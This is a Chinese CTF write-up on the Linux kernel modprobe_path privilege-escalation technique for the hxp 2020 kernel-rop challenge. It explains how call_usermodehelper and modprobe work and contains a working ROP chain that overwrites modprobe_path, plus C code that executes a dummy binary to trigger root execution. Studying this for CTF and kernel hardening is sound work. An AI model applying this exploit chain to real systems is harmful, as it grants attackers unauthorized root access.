0005-TIPS-2020-hxp-kernel-rop : bypass-KPTI-with-modprobe
call_usermodehelper 是一个大的概念
modprobe 是 call_usermodehelper 利用方式的一种
++++++++++++++++++++++++++++++++++++++++++++++++++
call_usermodehelper = call_user-mode-helper
modprobe = mod-probe =module-probe
modprobe_path = mod-probe_path =module-probe_path
call_usermodehelper api(该利用方式中-大的概念)
call_usermodehelper api可以在内核空间调用用户空间的应用程序,执行用户空间的命令。
在linux-5.9内核中,call_usermodehelper实现如下
/*** call_usermodehelper() - prepare and start a usermode application* @path: path to usermode executable* @argv: arg vector for process* @envp: environment for process* @wait: wait for the application to finish and return status.* when UMH_NO_WAIT don't wait at all, but you get no useful error back* when the program couldn't be exec'ed. This makes it safe to call* from interrupt context.** This function is the equivalent to use call_usermodehelper_setup() and* call_usermodehelper_exec().*/
int call_usermodehelper(const char *path, char **argv, char **envp, int wait)
{struct subprocess_info *info;gfp_t gfp_mask = (wait == UMH_NO_WAIT) ? GFP_ATOMIC : GFP_KERNEL;info = call_usermodehelper_setup(path, argv, envp, gfp_mask,NULL, NULL, NULL);if (info == NULL)return -ENOMEM;return call_usermodehelper_exec(info, wait);
}
EXPORT_SYMBOL(call_usermodehelper);
call_usermodehelper_setup设置要执行的用户空间的程序、环境变量、handler(包含初始化函数init和清理函数cleanup)等信息,相关信息填充到subprocess_info结构体中call_usermodehelper_exec执行设置的用户空间程序
内核中有很多这样的需求
例子1:实现关机的接口:__orderly_poweroff,该接口的主要作用是:在内核空间,调用用户空间的应用程序“/sbin/poweroff”,达到关机的目的。通过调该接口,可以在内核中实现“长按关机”操作
char poweroff_cmd[POWEROFF_CMD_PATH_LEN] = "/sbin/poweroff";
static int __orderly_poweroff(bool force)
{int ret;ret = run_cmd(poweroff_cmd); // <-------------------------------------------if (ret && force) {pr_warn("Failed to start orderly shutdown: forcing the issue\n");emergency_sync();kernel_power_off();}return ret;
}static int run_cmd(const char *cmd)
{char **argv;static char *envp[] = {"HOME=/","PATH=/sbin:/bin:/usr/sbin:/usr/bin",NULL};int ret;argv = argv_split(GFP_KERNEL, cmd, NULL);if (argv) {ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); // <-------------------------------------------argv_free(argv);} else {ret = -ENOMEM;}return ret;
}
例子2:与关机类似的重启命令
static const char reboot_cmd[] = "/sbin/reboot";static int __orderly_reboot(void)
{int ret;ret = run_cmd(reboot_cmd); // 内部是对 call_usermodehelper 的封装if (ret) {pr_warn("Failed to start orderly reboot: forcing the issue\n");emergency_sync();kernel_restart(NULL);}return ret;
}
例子3:本章有关-----模块加载命令/sbin/modprobe,该命令被封装到call_modprobe函数中
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";static int call_modprobe(char *module_name, int wait)
{struct subprocess_info *info;static char *envp[] = {"HOME=/","TERM=linux","PATH=/sbin:/usr/sbin:/bin:/usr/bin",NULL};[..]argv[0] = modprobe_path;argv[1] = "-q";argv[2] = "--";argv[3] = module_name; /* check free_modprobe_argv() */argv[4] = NULL;info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,NULL, free_modprobe_argv, NULL);[..]return call_usermodehelper_exec(info, wait | UMH_KILLABLE);[...]
}
call_modprobe 与 /sbin/modprobe
在用户态查看/sbin/modprobe的帮助文档,可以确定该命令是与处理module有关
showme@showme:linux-5.9$ /sbin/modprobe --help
Usage:modprobe [options] [-i] [-b] modulenamemodprobe [options] -a [-i] [-b] modulename [modulename...]modprobe [options] -r [-i] modulenamemodprobe [options] -r -a [-i] modulename [modulename...]modprobe [options] -cmodprobe [options] --dump-modversions filename
Management Options:-a, --all Consider every non-argument tobe a module name to be insertedor removed (-r)-r, --remove Remove modules instead of inserting--remove-dependencies Also remove modules depending on it
[...]
在内核中将/sbin/modprobe字符串存储在全局变量modprobe_path中,在call_modprobe函数中使用
同时在内核代码中,call_modprobe仅被封装在kernel/kmod.c/__request_module()函数中
且又进行了一层封装
int __request_module(bool wait, const char *name, ...);
#define request_module(mod...) __request_module(true, mod)
#define request_module_nowait(mod...) __request_module(false, mod)
大体浏览内核中的相关代码,可以看出request_module是用来操作模块的
drivers/crypto/qat/qat_c3xxxvf/adf_drv.c:234 {235: request_module("intel_qat");236 sound/core/sound.c:59 return;60: request_module("snd-card-%i", card);61 }drivers/parport/share.c:213 */214: request_module("parport_lowlevel");215 }
execve 与 call_modprobe 的关系(其中一个call_usermodehelper利用方式)
当通过execve执行一个二进制文件时,且内核法识别二进制文件的魔术字,就会调用call_modprobe加载可以处理该特殊二进制的模块。
execve中与call_modprobe相关的分支流程图
│▼
┌──────┐ filename, argv, envp ┌─────────┐
│execve├─────────────────────────────────────────────►│do_execve│
└──────┘ └────┬────┘│ fd, filename, argv, envp, flags │┌────────────────────────────────────────────────────────┘▼
┌──────────────────┐ bprm, fd, filename, flags ┌───────────┐
│do_execveat_common├───────────────────────────────►│bprm_execve│
└──────────────────┘ └─────┬─────┘│bprm │┌───────────────────────────────────────────────────────┘▼
┌───────────┐ bprm ┌─────────────────────┐
│exec_binprm├────────────────────────────►│search_binary_handler│
└───────────┘ └───────────┬─────────┘│"binfmt-$04x", *(ushort*)(bprm->buf+2) │┌───────────────────────────────────────────────────┘▼
┌──────────────┐ true, mod... ┌────────────────┐
│request_module├──────────────────────────────►│__request_module│
└──────────────┘ └───────┬────────┘│module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC │┌────────────────────────────────────────────────────┘▼
┌─────────────┐
│call_modprobe│
└─┬───────────┘││ info, wait | UMH_KILLABLE▼
┌────────────────────────┐
│call_usermodehelper_exec│
└────────────────────────┘
大体含义(细节可以参考这里,细节1,细节2):
- 对执行文件,执行环境进行封装
- 内核寻找合适的二进制加载器(
search_binary_handler) - 如果无法识别二进制文件的魔术字,就读取二进制文件的前 4 个字节(假设是
AABBCCDD),并尝试加载适当模块 - 该模块名称将被拼凑为
binfmt-AABBCCDD,交由request_module加载(call_modprobe->call_usermodehelper_exec),此时便在内核态执行了/sbin/modprobe 注意:二进制文件的前 4 个字是可打印字符,才会尝试加载适当的模块
利用方式
- 找到内核全局变量modprobe_path的地址(该变量中存储的内容为
/sbin/modprobe) - 将提权文件路径写入到modprobe_path地址处(就是)
- 创建一个无法识别的二进制文件,并执行,使之触发
execve->search_binary_handler->request_module->call_modprobe->call_usermodehelper_exec(执行modprobe_path保存路径的提权文件) - 这样提供的提权文件就能以root权限执行了
对于本题,通过modprobe,也算间接的绕过了KPTI
准备好提权文件(新modprobe_path)
重写modprobe_path
获取modprobe_path的地址,并重写为提权文件的路径,假设这里提权文件路径为/evil
/ # cat /proc/sys/kernel/modprobe
/sbin/modprobe/ # cat /proc/kallsyms | grep "modprobe_path"
ffffffff82061820 D modprobe_pathpwndbg> x/s 0xffffffff82061820
0xffffffff82061820: "/sbin/modprobe"
pwndbg> x/16gx 0xffffffff82061820
0xffffffff82061820: 0x6f6d2f6e6962732f 0x000065626f727064
rop如下
payload[cookie_off++] = cookie;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = pop_rax_ret;
payload[cookie_off++] = 0x6c6976652f; // rax = /evil 这里是字符串硬编码,也可以是/tmp/x 短一点,直接一次寄存器赋值搞定
payload[cookie_off++] = pop_rdi_ret;
payload[cookie_off++] = modprobe_path;
payload[cookie_off++] = write_rax_into_rdi_ret; // overwrite modprobe_path
payload[cookie_off++] = swapgs_pop1_ret;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = iretq;
payload[cookie_off++] = user_rip;
payload[cookie_off++] = user_cs;
payload[cookie_off++] = user_rflags;
payload[cookie_off++] = user_sp;
payload[cookie_off++] = user_ss;
在exp执行后,程序段错误,毕竟没有解决KPTI,但是modprobe_path修改了
准备无法加载的二进制文件
手动创建
echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fl
chmod +x /tmp/fl
或者是下面的代码
#include
#include
#include
#include int main() {char *dummy_file = "/tmp/dummy";puts("[*] creating dummy file");FILE *fptr = fopen(dummy_file, "w");if (!fptr) {puts("[-] failed to open dummy file");exit(-1);}if (fputs("\x37\x13\x42\x42", fptr) == EOF) {puts("[-] failed to write dummy file");exit(-1);}fclose(fptr);system("chmod 777 /tmp/dummy");puts("[*] triggering modprobe by executing dummy file");execv(dummy_file, NULL);puts("[+] now run /tmp/evilsu to get root shell");return 0;
}
执行无法加载的二进制文件
触发execve->search_binary_handler->request_module->call_modprobe->call_usermodehelper_exec(执行modprobe_path保存路径的提权文件)
类似modprobe的其他call_usermodehelper - TODO
core_pattern
在核心转储开启的时候有用
通过程序崩溃触发,一般通过下面内容触发
int main() {char *p = 0;*p = 1;return 0;
}
缓解措施
CONFIG_STATIC_USERMODEHELPER被设置为 true迫使用户模式辅助程序通过单一的二进制文件调用,并且 CONFIG_STATIC_USERMODEHELPER_PATH 被设置为空字符串,即没有 modprobe_path 技巧。
参考
https://0x9k.club/posts/uncategorized/2018-05-02-new_reliable_android_kernel_root_exploit.html
https://sam4k.com/like-techniques-modprobe_path/
https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/#version-3-probing-the-mods
https://github.com/tych0/huldufolk
https://github.com/smallkirby/kernelpwn/blob/master/technique/modprobe_path.md
其他用到modprobe的题目
https://www.anquanke.com/post/id/236126#h2-1
https://www.jianshu.com/p/a2259cd3e79e
【linux内核漏洞利用】call_usermodehelper提权路径变量总结
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
